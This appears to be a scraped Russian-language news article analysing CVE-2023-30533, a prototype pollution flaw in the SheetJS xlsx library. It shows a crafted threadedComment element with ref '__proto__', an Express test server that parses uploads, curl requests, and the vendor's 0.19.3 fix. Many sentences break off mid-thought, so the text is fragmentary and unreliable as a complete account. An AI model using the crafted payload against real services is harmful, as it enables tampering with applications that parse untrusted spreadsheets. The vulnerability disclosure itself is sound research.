Категория > Новости > Дырявый лист. Как работают уязвимости в библиотеке SheetJS - «Новости»
Дырявый лист. Как работают уязвимости в библиотеке SheetJS - «Новости»23-06-2023, 00:00. Автор: Davidson |
cmntcommon. В ней присваивается значение объекта по ключу, который может контролироваться пользователем.
else sheet[comment.ref] = cell;
Для дальнейшего анализа важно понимать, что такое
<threadedComment ref="G7" dT="2023-04-11T09:41:09.71" personId="{29DB960B-0822-594C-AB20-3D499FA339C7}" id="{962D1EF3-37F7-FF40-983D-B0762466C0AF}">
Обычно, когда файл создается в редакторе электронных таблиц, это не вызывает проблем, так как адреса ячеек редактор сгенерирует автоматически и это будут допустимые значения. Однако разработчики пакета XLSX не учли, что злоумышленник может вручную создать файл XLSX с произвольным содержимым и специально сформировать адреса ячеек. ; Вносим изменение в желаемые файлы Для успешной эксплуатации загрузим обычный файл, но с таким
<threadedComment ref="__proto__" dT="2023-04-11T09:41:09.71" personId="{29DB960B-0822-594C-AB20-3D499FA339C7}" id="{962D1EF3-37F7-FF40-983D-B0762466C0AF}">
В таком случае значение Далее в коде функции находим обращение к
if (!cell.c) cell.c = [];
Так как переменная содержит
if (!cell.hasOwnProperty("c")) cell.c = [];
Давай набросаем доказательство концепции:
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
const XLSX = require("xlsx");
// Middleware для обработки файлов
app.use(fileUpload());
// Получение POST-запроса c обработкой загруженного файла
app.post('/process', function(req, res) {
if (!req.files || Object.keys(req.files).length === 0) {
return res.status(400).send('Не найдены загруженные файлы.');
}
// Получение загруженного файла
const uploadedFile = req.files.file;
let a = XLSX.read(uploadedFile.data);
/*
Далее может следовать любая обработка файла и т. д.
*/
res.send('Файл успешно обработан.');
});
// Обработка GET-запроса c выдачей простого документа
app.get('/getSample', function(req, res) {
var ws = XLSX.utils.aoa_to_sheet([["SheetJS"], [5433795],[123123]]);
var wb = XLSX.utils.book_new();
XLSX.utils.book_append_sheet(wb, ws, 'Sheet1');
const xlsxData = XLSX.write(wb, { type: 'buffer' });
// Возврат обработанного файла
res.set('Content-Type', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
res.set('Content-Disposition', 'attachment; filename="processed_file.xlsx"');
res.send(xlsxData);
});
// Запуск сервера
app.listen(3000, function() {
console.log('Сервер запущен на порте 3000');
});
Этот скрипт принимает файл для обработки на эндпоинте Сделаем несколько запросов на сервер. Сначала обратимся к $ curl http://localhost:3000 Содержимое открытого файла А теперь выполним серию запросов с нашим специальным файлом: $ curl -X POST --form file=@ Файл успешно обработан.⏎ Текущее содержимое файла Реакция разработчиковВ версии 0.19.3 пакета XLSX разработчики постарались устранить этот баг. Они добавили такую проверку:
var r = decode_cell(comment.ref);
if(r.r < 0 || r.c < 0) return;
Теперь, если Багу выдан идентификационный номер CVE-2023-30533. Модификация файлов person и threadedCommentОписание недостаткаМы продолжили изучать функции, связанные с комментариями, и обнаружили возможность модифицировать файлы Перейти обратно к новости |